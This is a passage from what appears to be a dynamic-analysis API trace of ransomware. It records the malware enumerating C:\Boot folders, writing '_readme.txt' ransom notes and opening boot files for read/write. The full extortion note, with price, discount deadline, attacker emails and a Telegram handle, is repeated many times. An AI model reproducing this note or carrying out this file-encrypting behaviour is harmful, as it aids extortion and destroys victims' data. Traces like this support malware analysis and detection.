software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.974] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.974] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0266.974] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.974] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.975] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.975] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.975] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.975] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.975] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081720 [0266.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.975] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0266.975] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.975] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.975] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.975] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0266.975] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.975] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0266.976] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.976] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.976] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.977] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.977] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.978] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.978] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.978] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.978] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.978] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0266.978] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.978] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0266.978] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.978] PathFindFileNameW (pszPath="") returned="" [0266.978] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.978] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.979] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.979] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0266.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.979] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.979] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0266.979] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0266.979] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.979] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.979] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0266.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.980] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.980] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.980] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.980] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0266.980] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081918 | out: hHeap=0x640000) returned 1 [0266.980] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.980] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.980] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0266.981] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0266.981] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.981] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0266.981] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.982] RtlAllocateHeap 